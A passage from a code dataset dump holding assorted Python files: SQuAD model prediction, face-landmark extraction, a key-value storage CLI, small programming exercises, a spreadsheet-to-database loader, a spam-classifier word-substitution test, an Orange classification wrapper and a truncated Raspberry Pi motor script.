cls_logits=cls_logits)\n else:\n pass\n\n outputs = strategy.experimental_run_v2(\n _replicated_step, args=(next(iterator),))\n return tf.nest.map_structure(strategy.experimental_local_results, outputs)\n\n all_results = []\n for _ in range(num_steps):\n predictions = predict_step(predict_iterator)\n if FLAGS.version_2_with_negative:\n get_raw_results = get_raw_results_v2\n for result in get_raw_results(predictions):\n all_results.append(result)\n if len(all_results) % 100 == 0:\n logging.info('Made predictions for %d records.', len(all_results))\n return all_results\n\ndef predict_squad_customized(strategy, albert_config,\n predict_tfrecord_path, num_steps):\n \"\"\"Make predictions using a Bert-based squad model.\"\"\"\n if FLAGS.version_2_with_negative:\n predict_dataset = input_pipeline.create_squad_dataset_v2(\n predict_tfrecord_path,\n FLAGS.max_seq_length,\n FLAGS.predict_batch_size,\n is_training=False)\n else:\n pass\n\n\n with strategy.scope():\n # add comments for #None,0.1,1,0\n if FLAGS.version_2_with_negative:\n\n if FLAGS.model_name == 'tuned_albert':\n\n squad_model = get_model_v2(albert_config, FLAGS.max_seq_length,\n None, 0.1, FLAGS.start_n_top, FLAGS.end_n_top, 0.0, 1, 0)\n elif FLAGS.model_name == 'albert_bidaf':\n squad_model = get_model_v2_bidaf(albert_config, FLAGS.max_seq_length,\n None, 0.1, FLAGS.start_n_top, FLAGS.end_n_top, 0.0, 1, 0)\n\n else:\n pass\n \n\n checkpoint_paths = FLAGS.checkpoint_path.split(',')\n checkpoint_path_0 = checkpoint_paths[0]#FLAGS.checkpoint_path\n result1 = get_Answers(checkpoint_path_0, squad_model, strategy, predict_dataset, num_steps)\n checkpoint_path_1 = checkpoint_paths[1]#FLAGS.checkpoint_path\n result2 = get_Answers(checkpoint_path_1, squad_model, strategy, predict_dataset, num_steps)\n \n \n return result1, result2\n\ndef get_model_v2(albert_config, max_seq_length, init_checkpoint, learning_rate,\n start_n_top, end_n_top, dropout, num_train_steps, num_warmup_steps):\n \"\"\"Returns keras model\"\"\"\n\n squad_model = ALBertQAModel(\n albert_config, max_seq_length, init_checkpoint, start_n_top, end_n_top, dropout)\n\n return squad_model\n\nclass ALBertQAModel_v2(tf.keras.Model):\n\n def __init__(self, albert_config, max_seq_length, init_checkpoint, start_n_top, end_n_top, dropout=0.1, **kwargs):\n super(ALBertQAModel_v2, self).__init__(**kwargs)\n self.albert_config = copy.deepcopy(albert_config)\n self.initializer = tf.keras.initializers.TruncatedNormal(\n stddev=self.albert_config.initializer_range)\n float_type = tf.float32\n\n input_word_ids = tf.keras.layers.Input(\n shape=(max_seq_length,), dtype=tf.int32, name='input_word_ids')\n input_mask = tf.keras.layers.Input(\n shape=(max_seq_length,), dtype=tf.int32, name='input_mask')\n input_type_ids = tf.keras.layers.Input(\n shape=(max_seq_length,), dtype=tf.int32, name='input_type_ids')\n\n albert_layer = AlbertModel(config=albert_config, float_type=float_type)\n\n pooled_output, sequence_output = albert_layer(\n input_word_ids, input_mask, input_type_ids)\n\n bilstm = tf.keras.layers.Bidirectional(tf.keras.layers.LSTM(512, return_sequences=True))(sequence_output)\n bilstm_self = attention.SeqSelfAttention(attention_activation='sigmoid')(bilstm)\n \n bigru = tf.keras.layers.Bidirectional(tf.keras.layers.GRU(256, return_sequences=True))(bilstm)\n bigru_self = attention.SeqSelfAttention(attention_activation='sigmoid')(bigru)\n \n conc = tf.keras.layers.Concatenate()([bilstm_self, bigru_self])#([bilstm, bigru])#([bilstm_self, bigru_self])\n\n\n self.albert_model = tf.keras.Model(inputs=[input_word_ids, input_mask, input_type_ids],\n outputs=[pooled_output, sequence_output])\n if init_checkpoint != None:\n print('init_checkpoint loading ...')\n self.albert_model.load_weights(init_checkpoint)\n\n self.albert_lstm = tf.keras.Model(inputs=[input_word_ids, input_mask, input_type_ids],\n outputs=conc)\n\n self.qalayer = ALBertQALayer(conc.shape[-1], start_n_top, end_n_top,\n self.initializer, dropout)\n\n def call(self, inputs, **kwargs):\n # unpacked_inputs = tf_utils.unpack_inputs(inputs)\n unique_ids = inputs[\"unique_ids\"]\n input_word_ids = inputs[\"input_ids\"]\n input_mask = inputs[\"input_mask\"]\n segment_ids = inputs[\"segment_ids\"]\n cls_index = tf.reshape(inputs[\"cls_index\"], [-1])\n p_mask = inputs[\"p_mask\"]\n if kwargs.get('training',False):\n start_positions = inputs[\"start_positions\"]\n else:\n start_positions = None\n conc_output = self.albert_lstm(\n [input_word_ids, input_mask, segment_ids], **kwargs)\n\n output = self.qalayer(\n conc_output, p_mask, cls_index, start_positions, **kwargs)\n return (unique_ids,) + output\n\ndef get_model_v2_bidaf(albert_config_dict, max_seq_length, init_checkpoint, learning_rate,\n start_n_top, end_n_top, dropout, num_train_steps, num_warmup_steps):\n\n \"\"\"Returns keras model\"\"\"\n if isinstance(albert_config_dict, dict):\n albert_config = AlbertConfig.from_dict(albert_config_dict)\n else:\n albert_config = albert_config_dict\n print('new model ALBertQAModel_v2 ...')\n squad_model = ALBertQAModel_v2(\n albert_config, max_seq_length, init_checkpoint, start_n_top, end_n_top, dropout)\n\n learning_rate_fn = tf.keras.optimizers.schedules.PolynomialDecay(initial_learning_rate=learning_rate,\n decay_steps=num_train_steps, end_learning_rate=0.0)\n if num_warmup_steps:\n learning_rate_fn = WarmUp(initial_learning_rate=learning_rate,\n decay_schedule_fn=learning_rate_fn,\n warmup_steps=num_warmup_steps)\n\n if FLAGS.optimizer == \"LAMB\":\n optimizer_fn = LAMB\n else:\n optimizer_fn = AdamWeightDecay\n\n optimizer = optimizer_fn(\n learning_rate=learning_rate_fn,\n weight_decay_rate=FLAGS.weight_decay,\n beta_1=0.9,\n beta_2=0.999,\n epsilon=FLAGS.adam_epsilon,\n exclude_from_weight_decay=['layer_norm', 'bias'])\n\n squad_model.optimizer = optimizer\n\n return squad_model\n\n\ndef predict_squad(strategy):\n \"\"\"Makes predictions for a squad dataset.\"\"\"\n albert_config = AlbertConfig.from_json_file(FLAGS.albert_config_file)\n doc_stride = FLAGS.doc_stride\n max_query_length = FLAGS.max_query_length\n\n eval_examples = squad_lib.read_squad_examples(\n input_file=FLAGS.predict_file,\n is_training=False)\n\n tokenizer = tokenization.FullTokenizer(vocab_file=None,\n spm_model_file=FLAGS.spm_model_file, do_lower_case=FLAGS.do_lower_case)\n\n eval_writer = squad_lib.FeatureWriter(\n filename=os.path.join(FLAGS.model_dir.split(',')[0], 'eval.tf_record'),\n is_training=False)\n eval_features = []\n\n def _append_feature(feature):\n eval_features.append(feature)\n eval_writer.process_feature(feature)\n\n # TPU requires a fixed batch size for all batches, therefore the number\n # of examples must be a multiple of the batch size, or else examples\n # will get dropped. So we pad with fake examples which are ignored\n # later on.\n dataset_size = squad_lib.convert_examples_to_features(\n examples=eval_examples,\n tokenizer=tokenizer,\n max_seq_length=FLAGS.max_seq_length,\n doc_stride=doc_stride,\n max_query_length=max_query_length,\n is_training=False,\n output_fn=_append_feature)\n eval_writer.close()\n\n logging.info('***** Running predictions *****')\n logging.info(' Num orig examples = %d', len(eval_examples))\n logging.info(' Num split examples = %d', len(eval_features))\n logging.info(' Batch size = %d', FLAGS.predict_batch_size)\n\n num_steps = math.ceil(dataset_size / FLAGS.predict_batch_size)\n all_results1,all_results2 = predict_squad_customized(strategy, albert_config,\n eval_writer.filename, num_steps)\n\n model_dirs = FLAGS.model_dir.split(',')\n model_dir1 = model_dirs[0]\n model_dir2 = model_dirs[1]\n\n output_prediction_file = os.path.join(model_dir1, 'predictions.json')\n output_nbest_file = os.path.join(model_dir1, 'nbest_predictions.json')\n output_null_log_odds_file = os.path.join(model_dir1, 'null_odds.json')\n\n if FLAGS.version_2_with_negative:\n squad_lib.write_predictions_v2(\n eval_examples,\n eval_features,\n all_results1,\n FLAGS.n_best_size,\n FLAGS.max_answer_length,\n output_prediction_file,\n output_nbest_file,\n output_null_log_odds_file,\n FLAGS.start_n_top,\n FLAGS.end_n_top\n )\n else:\n pass\n\n output_prediction_file = os.path.join(model_dir2, 'predictions.json')\n output_nbest_file = os.path.join(model_dir2, 'nbest_predictions.json')\n output_null_log_odds_file = os.path.join(model_dir2, 'null_odds.json')\n\n if FLAGS.version_2_with_negative:\n squad_lib.write_predictions_v2(\n eval_examples,\n eval_features,\n all_results2,\n FLAGS.n_best_size,\n FLAGS.max_answer_length,\n output_prediction_file,\n output_nbest_file,\n output_null_log_odds_file,\n FLAGS.start_n_top,\n FLAGS.end_n_top\n )\n else:\n pass\n\n\ndef main(_):\n\n assert tf.version.VERSION.startswith('2.')\n logging.set_verbosity(logging.INFO)\n\n strategy = None\n if FLAGS.strategy_type == 'mirror':\n strategy = tf.distribute.MirroredStrategy()\n elif FLAGS.strategy_type == 'one':\n strategy = tf.distribute.OneDeviceStrategy('GPU:0')\n elif FLAGS.strategy_type == 'cpu':\n strategy = tf.distribute.OneDeviceStrategy('CPU:0')\n else:\n raise ValueError('The distribution strategy type is not supported: %s' %\n FLAGS.strategy_type)\n if FLAGS.mode == 'predict':\n predict_squad(strategy)\n\n\nif __name__ == '__main__':\n flags.mark_flag_as_required('albert_config_file')\n flags.mark_flag_as_required('model_dir')\n app.run(main)","sub_path":"predict_squad.py","file_name":"predict_squad.py","file_ext":"py","file_size_in_byte":25637,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"210419822","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu May 3 11:38:08 2018\n\n@author: gary\n\"\"\"\n\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Mar 5 11:25:12 2018\n\n@author: gary\n\"\"\"\n\nimport face_alignment\nimport numpy as np\nfrom mpl_toolkits.mplot3d import Axes3D\nimport matplotlib.pyplot as plt\nfrom skimage import io\nfrom scipy import io as mat\nimport glob\nimport os\n\n\ndef getLandmarks(fa,images_list,input_path,output_path):\n\n if not os.path.exists(output_path):\n os.makedirs(output_path)\n\n for i in images_list:\n \n print(i) \n input = io.imread(i)\n #Check 3 channels \n if(len(input.shape)<3):\n w, h = input.shape\n ret = np.empty((w,h,3), dtype=np.uint8)\n ret[:,:,2] = ret[:,:,1] = ret[:,:,0] = input\n input = ret\n \n \n st = i.split(\"/\")\n filename = st[7].split(\".\")[0]\n #filename = st[9].split(\".\")[0]\n print(filename)\n full_input_path = input_path#os.path.join(input_path, st[8],st[9],st[10],st[11]) \n full_output_path = output_path#os.path.join(output_path, st[8],st[9],st[10],st[11])\n\n if not os.path.exists(full_output_path):\n os.makedirs(full_output_path)\n \n filepath = full_input_path + '/' + filename + \".mat\"\n faces = mat.loadmat(filepath)\n boxes = faces['bbox']\n if boxes.any():\n #print(boxes)\n preds = fa.get_landmarks_gs(input,boxes,all_faces=True)[:] \n savename = full_output_path + '/' + filename + \"lms.mat\" \n mat.savemat(savename, mdict={'finelms': preds})\n\n \n return\n\n# Run the 3D face alignment on a test image, without CUDA.\n\n\nimages_list = glob.glob(\"/media/gary/SAMSUNG/*.jpg\")\n\nfa = face_alignment.FaceAlignment(face_alignment.LandmarksType._2D, enable_cuda=True, flip_input=False)\n\n\nfor i in images_list:\n input = io.imread(i)\n preds = fa.get_landmarks(input)[-1]\n st = i.split(\"/\")\n filename = st[4].split(\".\")[0]\n \n dataout = \"/media/gary/SAMSUNG\"\n savename = dataout + '/' + filename + \"2dlms.mat\" \n mat.savemat(savename, mdict={'finelms': preds})\n fileout = open(dataout + '/' + filename + \".pts\",\"w\")\n for j in range(0,preds.shape[0]):\n fileout.write(\"%f %f\\n\" % (preds[j,0], preds[j,1]))\n fileout.close()\n\n# fig = plt.figure(figsize=plt.figaspect(.5))\n# ax = fig.add_subplot(1, 2, 1)\n# ax.imshow(input)\n# ax.plot(preds[0:17,0],preds[0:17,1],marker='o',markersize=6,linestyle='-',color='w',lw=2)\n# ax.plot(preds[17:22,0],preds[17:22,1],marker='o',markersize=6,linestyle='-',color='w',lw=2)\n# ax.plot(preds[22:27,0],preds[22:27,1],marker='o',markersize=6,linestyle='-',color='w',lw=2)\n# ax.plot(preds[27:31,0],preds[27:31,1],marker='o',markersize=6,linestyle='-',color='w',lw=2)\n# ax.plot(preds[31:36,0],preds[31:36,1],marker='o',markersize=6,linestyle='-',color='w',lw=2)\n# ax.plot(preds[36:42,0],preds[36:42,1],marker='o',markersize=6,linestyle='-',color='w',lw=2)\n# ax.plot(preds[42:48,0],preds[42:48,1],marker='o',markersize=6,linestyle='-',color='w',lw=2)\n# ax.plot(preds[48:60,0],preds[48:60,1],marker='o',markersize=6,linestyle='-',color='w',lw=2)\n# ax.plot(preds[60:68,0],preds[60:68,1],marker='o',markersize=6,linestyle='-',color='w',lw=2) \n# ax.axis('off')\n#\n# ax = fig.add_subplot(1, 2, 2, projection='3d')\n# surf = ax.scatter(preds[:,0]*1.2,preds[:,1],preds[:,2],c=\"cyan\", alpha=1.0, edgecolor='b')\n# ax.plot3D(preds[:17,0]*1.2,preds[:17,1], preds[:17,2], color='blue' )\n# ax.plot3D(preds[17:22,0]*1.2,preds[17:22,1],preds[17:22,2], color='blue')\n# ax.plot3D(preds[22:27,0]*1.2,preds[22:27,1],preds[22:27,2], color='blue')\n# ax.plot3D(preds[27:31,0]*1.2,preds[27:31,1],preds[27:31,2], color='blue')\n# ax.plot3D(preds[31:36,0]*1.2,preds[31:36,1],preds[31:36,2], color='blue')\n# ax.plot3D(preds[36:42,0]*1.2,preds[36:42,1],preds[36:42,2], color='blue')\n# ax.plot3D(preds[42:48,0]*1.2,preds[42:48,1],preds[42:48,2], color='blue')\n# ax.plot3D(preds[48:,0]*1.2,preds[48:,1],preds[48:,2], color='blue' )\n#\n# ax.view_init(elev=90., azim=90.)\n# ax.set_xlim(ax.get_xlim()[::-1])\n# plt.show()\n\n \n","sub_path":"libs/architectures/LL/FAN/palsyDemo.py","file_name":"palsyDemo.py","file_ext":"py","file_size_in_byte":4223,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"270804525","text":"\"\"\"\n Хранилище данных. Ключ-значение.\n\"\"\"\nimport argparse\nimport json\nimport os\nimport tempfile\n\n# указываем путь к нашему файлу-хранилищу\nstorage_path = os.path.join(tempfile.gettempdir(), 'storage.data')\n\n# если файл не создан, создаем новый\nif not os.path.isfile(storage_path):\n os.system(f\"touch {storage_path}\")\n print(\"done!\")\n\n# with open(storage_path, 'r') as file:\n# for line in file:\n# print(line)\n\n# обработка параметров выполнения команды\nparser = argparse.ArgumentParser()\nparser.add_argument(\"--key\")\nparser.add_argument(\"--value\")\nargs = parser.parse_args()\n\n# был передан аргумент --key\nif args.key:\n\n # был передан аргумент --value\n if args.value:\n # создаем буффер\n buf = {}\n # открываем файл на чтение\n with open(storage_path, 'r') as file:\n # передаем данные файла в буффер\n buf = file.read()\n # проверяем находятся ли данные в буффере\n if buf != '':\n # десериализуем данные из файла в словарь\n buf = json.loads(buf)\n # если ключ присутствует в словаре переписываем\n if args.key in buf.keys():\n buf[args.key] = args.value\n # если ключа нет обновляем словарь новой парой ключ-значение\n else:\n buf.update({args.key: args.value})\n # если данных нет создаем словарь\n else:\n buf = {args.key: args.value}\n # записываем данные из буффера в файл\n with open(storage_path, 'w') as file:\n file.write(json.dumps(buf))\n print(f\"Данные добавлены!\")\n\n # если не передан аргумент --value\n elif args.value is None:\n # открываем файл на чтение\n with open(storage_path, 'r') as file:\n buf = file.read()\n if buf != '':\n buf = json.loads(buf)\n # если в файле есть переданный ключ выводим\n # хранимые по нему данные\n if args.key in buf.keys():\n print(buf[args.key])\n else:\n print(None)\n else:\n print(None)\n\n# если параметры команды не переданы выводим все содержимое словаря\nelse:\n with open(storage_path, 'r') as file:\n buf = file.read()\n if buf != '':\n buf = json.loads(buf)\n for key, value in buf.items():\n print(f\"{key}: {value}\")\n","sub_path":"key_value_storage.py","file_name":"key_value_storage.py","file_ext":"py","file_size_in_byte":3069,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"42530819","text":"def get_divisor_cnt(num):\n ret = []\n for i in range(1, int(num ** 0.5) + 1):\n if not num % i:\n ret.append(i)\n ret.append(num // i)\n\n return len(ret) if num % num**0.5 else len(ret) + 1\n\n\ndef solution(left, right):\n answer = 0\n for i in range(left, right+1):\n cnt = get_divisor_cnt(i)\n answer = answer - i if cnt % 2 else answer + i\n return answer\n\n\nleft = 13\nright = 17\nprint(solution(left, right))\n","sub_path":"Programmers/Level1/약수의개수와덧셈/약수의개수와덧셈.py","file_name":"약수의개수와덧셈.py","file_ext":"py","file_size_in_byte":460,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"451062921","text":"#Faça um programa que leia um ano qualquer e mostre se ele é bissexto\nfrom datetime import date\nano = (int(input('Digite o ano para verificar.\\n0 Para o ano atual:')))\nif (ano == 0):\n ano = date.today().year\nif(ano / 1 % 10 == 0 and ano / 10 % 10 == 0): #Pega a unidade e a dezena para verificar se é um ano centenário (00). Sem isso, exibiria \"ano bissexto\" para 1900, o que não é o caso.\n if (ano%400 == 0):\n print('O ano {} é bissexto!'.format(ano))\n else:\n print('O ano {} não é bissexto!'.format(ano))\nelif(ano % 4 == 0):\n print('{} é um ano bissexto!'.format(ano))\nelse:\n print('{} não é um ano bissexto!'.format(ano))\n","sub_path":"Curso em Vídeo/Exercícios/ex032.py","file_name":"ex032.py","file_ext":"py","file_size_in_byte":666,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"396643877","text":"# -*- coding: utf-8 -*-\n# @Time : 2017/9/1 9:15\n# @Author : skyrim61\n# @Email : skyrim61@foxmail.com\n# @File : test2.py\n# @Software: PyCharm\nimport xlrd\nfrom SqlHelperX import SqlHelperx\n\nTC_workbook = xlrd.open_workbook(r'网点数据_20170831.xlsx')\nfirst_sheet = TC_workbook.sheet_by_index(0)\n\nfor each_row in range(1, first_sheet.nrows):\n shop_id = first_sheet.cell(each_row, 0).value\n shop_name = first_sheet.cell(each_row, 1).value\n belong_name = first_sheet.cell(each_row, 2).value\n value = [shop_id, shop_name, belong_name]\n SqlHelperx().modify(\"INSERT INTO kd_log.sto_national_etwork (shop_id, shop_name, belong_name) VALUES (%s,%s,%s);\",\n value)\n\n","sub_path":"exceltomysql.py","file_name":"exceltomysql.py","file_ext":"py","file_size_in_byte":704,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"144485952","text":"import tensorflow as tf\nimport numpy as np\nimport os\n\nfrom models.registry import get_model\nfrom hparams.registry import get_hparams\nfrom data.load_data import make_spam_dataset, get_spam_info\n\ntf.flags.DEFINE_string(\"hparams\", None, \"Hyperparameters\")\ntf.flags.DEFINE_string(\"output_dir\", None, \"where to store\")\ntf.flags.DEFINE_integer(\"num_words\", None, \"Number of words to be replaced\")\n\nFLAGS = tf.app.flags.FLAGS\n\nhparams = get_hparams(FLAGS.hparams)\ntrain_iterator, test_iterator = make_spam_dataset(hparams)\nmodel = get_model(hparams.model)(hparams)\n\ntext, labels = train_iterator.get_next()\n\nmodel_save_path = os.path.join(FLAGS.output_dir, 'model')\ntrain_summary_dir = os.path.join(FLAGS.output_dir, \"summaries\", \"train\")\ntest_summary_dir = os.path.join(FLAGS.output_dir, \"summaries\", \"test\")\n\nword_list = get_spam_info(hparams, True)\n\n\ndef initialize(sess):\n sess.run(train_iterator.initializer)\n sess.run(test_iterator.initializer)\n\n\ndef restore(sess):\n saver = tf.train.Saver(max_to_keep=10)\n latest_ckpt = tf.train.latest_checkpoint(FLAGS.output_dir)\n start_step = int(latest_ckpt.split('-')[-1])\n saver.restore(sess, latest_ckpt)\n\n\ndef get_nearest_embedding(weights, idx):\n original_word = weights[idx]\n distance = np.sum((original_word - weights)**2, axis=1)\n distance = np.sqrt(distance)\n #masking the OG index\n distance[idx] = distance.max()\n nearest_embedding = weights[np.argmin(distance)]\n\n return np.argmin(distance)\n\n\ndef print_str(array):\n stop_idx = np.where(array == 0)[0][0]\n print(stop_idx)\n strings = [word_list[array[i]] for i in range(0, stop_idx)]\n\n print(' '.join(strings))\n\n\ndef build():\n x = tf.placeholder(tf.int32, shape=[None, hparams.max_length])\n y = tf.placeholder(tf.int64, shape=[None], name=\"labels\")\n drop_rate = tf.placeholder_with_default(0.0, shape=())\n\n logits = model(x, drop_rate)\n probs = tf.nn.softmax(logits, axis=-1)\n\n sess = tf.Session()\n initialize(sess)\n restore(sess)\n embedding_weights = sess.run(model.W)\n\n inputs, targets = sess.run([text, labels])\n\n test_ips, test_targs = inputs[0], targets[0]\n print_str(test_ips)\n\n probabilities = sess.run(probs,\n feed_dict={\n x: test_ips[None, :],\n drop_rate: 0.0\n })\n print(probabilities)\n\n indices = np.where(test_ips == 0)[0][0]\n idxes = np.random.choice(np.arange(0, indices), FLAGS.num_words)\n for idx in idxes:\n test_ips[idx] = get_nearest_embedding(embedding_weights, test_ips[idx])\n print(\"Changed at index: \", idxes)\n\n print_str(test_ips)\n probabilities = sess.run(probs,\n feed_dict={\n x: test_ips[None, :],\n drop_rate: 0.0\n })\n print(probabilities)\n\n\nif __name__ == '__main__':\n build()","sub_path":"create_adversary.py","file_name":"create_adversary.py","file_ext":"py","file_size_in_byte":2863,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"316359356","text":"# Wrapping classification operations\n# Cleaner scripting was needed\n\nfrom __future__ import print_function\nimport sys\nimport os\nimport random\nimport Orange\nimport valmerger\nfrom collections import defaultdict\n\n# Temporary table savefile\nTMP = 'tmp.tab'\n\nclass Trainer:\n \"\"\" Everything you want for your training needs \"\"\"\n \n def __init__(self, data, n_folds=10, grouper=None, learner='svm', baseline=False):\n \"\"\" Class initialiser\n Builds classifiers for data\n Learner is LinearSVM (reliable, quick and versatile)\n data (TabData): training data\n n_folds (int): number of training folds\n grouper (str): grouping attribute for folds\n \"\"\"\n self.data = data.t\n self.n_folds = n_folds\n self.grouper = grouper\n\n # Select learner\n if learner == 'logreg':\n self.learner = Orange.classification.logreg.LogRegLearner(stepwise_lr=True)\n else:\n self.learner = Orange.classification.svm.LinearSVMLearner()\n \n # Do not train if baseline mode\n if baseline:\n return\n \n # Create folds\n if grouper is None:\n lf = list(i%n_folds for i in range(len(self.data)))\n random.shuffle(lf)\n self.line_folds = lf\n else:\n # List of group names\n gnames = list(set(line[grouper].value for line in self.data))\n # Generate random fold numbers (equally distributed among groups)\n f_inds = list(i%n_folds for i in range(len(gnames)))\n random.shuffle(f_inds)\n # Dict : group name -> fold number\n g_folds = dict(zip(gnames, f_inds))\n # Fold selector (parallel to data)\n self.line_folds = list(g_folds[line[grouper].value] for line in self.data)\n\n self.classifiers = dict()\n for i_fold in range(self.n_folds):\n print('Training fold {0}/{1}...\\r'.format(i_fold+1, self.n_folds), end='')\n sys.stdout.flush() \n d_train = self.data.select_ref(self.line_folds, i_fold, negate=True)\n self.classifiers[i_fold] = self.learner(d_train)\n print('\\nTraining complete !')\n\n def pred_rows(self):\n \"\"\" Yields predictions (predicted class, row) \"\"\"\n for i_fold in range(self.n_folds):\n d_test = self.data.select_ref(self.line_folds, i_fold)\n cls = self.classifiers[i_fold]\n for row in d_test:\n yield cls(row), row\n \n def evaluate(self, title='Results', quiet=False):\n \"\"\" Print some statistics about predictions \"\"\"\n res = defaultdict(lambda : defaultdict(int))\n for pred, row in self.pred_rows():\n #~ for row in self.data:\n i = row.getclass().value\n # Standard classification\n j = pred.value\n # All-the-same baseline\n #~ j = 'True'\n # Random baseline\n #~ j = str(random.random() < float(315)/1343)\n # Clue baseline\n #~ j = row['clue_resource'].value\n res[i][j] += 1\n\n # Process results\n labels = list(res.keys())\n sum_pred = dict((l, sum(res[i][l] for i in labels)) for l in labels)\n sum_ref = dict((l, sum(res[l][j] for j in labels)) for l in labels)\n # F1 : 2TP / (2TP+FP+FN)\n f_scores = list((l, float(2*res[l][l])/(sum_pred[l]+sum_ref[l]))\n for l in labels)\n g_match = sum(res[l][l] for l in labels)\n\n # Display results\n if not quiet:\n print(\"== {0} ==\".format(title))\n print(\"== Method : {0} ==\".format(self.learner.name))\n print(\"Global accuracy : {0}/{1} = {2:.3}\".format(g_match, len(self.data), float(g_match)/len(self.data)))\n\n print('= F1 scores by label =')\n for l, s in sorted(f_scores, key=lambda x:x[1],reverse=True):\n print('{0:25}: {1:.3}'.format(l, s))\n\n print('= Reference counts =')\n for l, c in sorted(list(sum_ref.items()), key=lambda x:x[1],reverse=True):\n print('{0:25}: {1}'.format(l, c))\n \n print('== Confusion matrix ==')\n kl = list(res.keys())\n print('{0:8}{1:>8}{2:>8}'.format(*([r'R\\P']+kl)))\n for ki in kl:\n ks = [res[ki][kj] for kj in kl]\n print('{0:8}{1:>8}{2:>8}'.format(*([ki]+ks)))\n return dict(f_scores)\n\nclass TabData:\n \"\"\" Wrapper for Orange.data.Table \"\"\"\n \n def __init__(self, dsource, copy=False):\n \"\"\" Class initialiser \"\"\"\n if copy:\n self.t = dsource.t\n else:\n self.t = Orange.data.Table(dsource)\n\n def __iter__(self):\n \"\"\" Iterate over the table \"\"\"\n return iter(self.t)\n\n def __len__(self):\n \"\"\" Length of table \"\"\"\n return len(self.t)\n\n def save(self, name):\n \"\"\" Save table in file \"\"\"\n self.t.save(name)\n \n def sel_row(self, *a, **ka):\n \"\"\" Filter rows Orange-style \"\"\"\n self.t = self.t.filter(*a, **ka)\n \n def sel_row_by(self, fun):\n \"\"\" Filter rows by function \"\"\"\n self.t = self.t.select(map(fun, self.t))\n \n def sel_col(self, atts=None, metas=[], new_class=None):\n \"\"\" Filter columns\n atts : attributes (including class) to keep (default: all)\n metas : meta attributes to keep (default: none)\n new_class : class name for the new domain (default: previous one)\n \"\"\"\n nd = d = self.t.domain\n if atts is not None:\n nd = Orange.data.Domain(atts, nd)\n for nmeta in metas:\n nd.add_meta(d.meta_id(nmeta), d.get_meta(nmeta))\n self.t = Orange.data.Table(nd, self.t)\n if new_class is not None:\n self.new_class(new_class)\n\n def new_class(self, name):\n \"\"\" Switch class attribute name \"\"\"\n nd = Orange.data.Domain(self.t.domain, name)\n nd.add_metas(self.t.domain.get_metas())\n self.t = Orange.data.Table(nd, self.t)\n\n def merge(self, other, id='id'):\n \"\"\" Merge with another table\n other : the other table\n id : row identifier attribute name\n returns lists of non-common ids\n \"\"\"\n # Filter out non-common ids\n si, ti = (set(r[id].value for r in obj.t) for obj in (self, other))\n sx, tx = list(si-ti), list(ti-si)\n st = self.t.filter_ref({id:sx}, negate=1)\n tt = other.t.filter_ref({id:tx}, negate=1)\n # Reorder data (same order reuired for merging)\n st.sort([id])\n tt.sort([id])\n self.t = Orange.data.Table([st,tt])\n return sx, tx\n \n def tab_header(self):\n \"\"\" Create Orange tab header and feature name list \"\"\"\n def tri(f, tag):\n return (f.name, str(f.var_type)[0].lower(), tag)\n \n d = self.t.domain\n # ff : list of (name, c/d, meta/class/'')\n ff = [tri(d.class_var, 'class')] if d.class_var else []\n ff += ([tri(f, 'meta') for f in d.get_metas().values()] +\n [tri(f, '') for f in d.attributes])\n # Header, on 3 lines (Orange tab format)\n h = ''\n for k in range(3):\n h += '\\t'.join([t[k] for t in ff]) + '\\n'\n # Feature name list, in order\n fl = list(t[0] for t in ff)\n return h, fl\n\n def fuse_rows(self, grouper, sort=None):\n \"\"\" Merge groups of rows\n Return the fused table !\n TODO : in-place is better\n grouper : row grouping attribute\n sorter : positioning attribute\n \"\"\"\n sorter = (lambda x:x[sort].value) if sort else (lambda x:0)\n head, fnames = self.tab_header()\n mergers = valmerger.gen_vm(fnames)\n\n groups = defaultdict(list)\n for r in self.t:\n groups[r[grouper].value].append(r)\n\n with open(TMP, 'w') as f:\n f.write(head)\n for rl in groups.values():\n # Sort turn rows by position\n rlis = sorted(rl, key=sorter)\n # Collect and apply mergers\n vals = [rlis[0][n].value for n in fnames]\n for r in rlis[1:]:\n vals = list(m(v,r[n].value) for m,v,n in zip(mergers, vals, fnames))\n f.write('\\t'.join(map(str,vals))+'\\n')\n\n self.t = Orange.data.Table(TMP)\n discard(TMP)\n\ndef custom(featdef, idata):\n \"\"\" Create custom table !\n featdef : feature info as list(name, d/c, meta/class)\n idata : instances (same order af featdef of course)\n name : optional savefile for custom table\n \"\"\"\n with open(TMP, 'w') as f:\n # Header\n for k in range(3):\n f.write('\\t'.join([t[k] for t in featdef]) + '\\n')\n # Instances\n for r in idata:\n f.write('\\t'.join(map(str, r)) + '\\n')\n \n res = TabData(TMP)\n discard(TMP)\n return res\n\ndef discard(fname):\n try:\n os.remove(fname)\n except OSError:\n print('Please remove {0} manually'.format(fname))\n\n","sub_path":"old/classify.py","file_name":"classify.py","file_ext":"py","file_size_in_byte":9142,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"464606286","text":"import RPi.GPIO as GPIO\nimport time\n\nGPIO.setmode(GPIO.BCM)\n# GPIO.setup(18, GPIO.OUT)\n# pwm = GPIO.PWM(18, 100)\n# pwm.start(5)\n\n# for angle in [0, 180]:\n# duty = float(angle) / 10.0 + 2.5\n# pwm.ChangeDutyCycle(duty)\n# time.sleep(1)\n\n# for angle in range(1, 185, 30):\n# duty = float(angle) / 10.0 + 2.5\n# pwm.ChangeDutyCycle(duty)\n# time.sleep(1)\n\n# import RPi.GPIO as GPIO\n# from time import sleep\n\n# GPIO.setmode(GPIO.BOARD)\n\nMotor1A = 16\nMotor1B = 18\nMotor1E = 22\n\nGPIO.setup(Motor1A,GPIO.OUT)\nGPIO.setup(Motor1B,GPIO.OUT)\nGPIO.setup(Motor1E,GPIO.OUT)\n\npwm = GPIO.PWM(Motor1A, 100)\npwm.start(5)\n\nfor speed in [0, 100]:\n # duty = 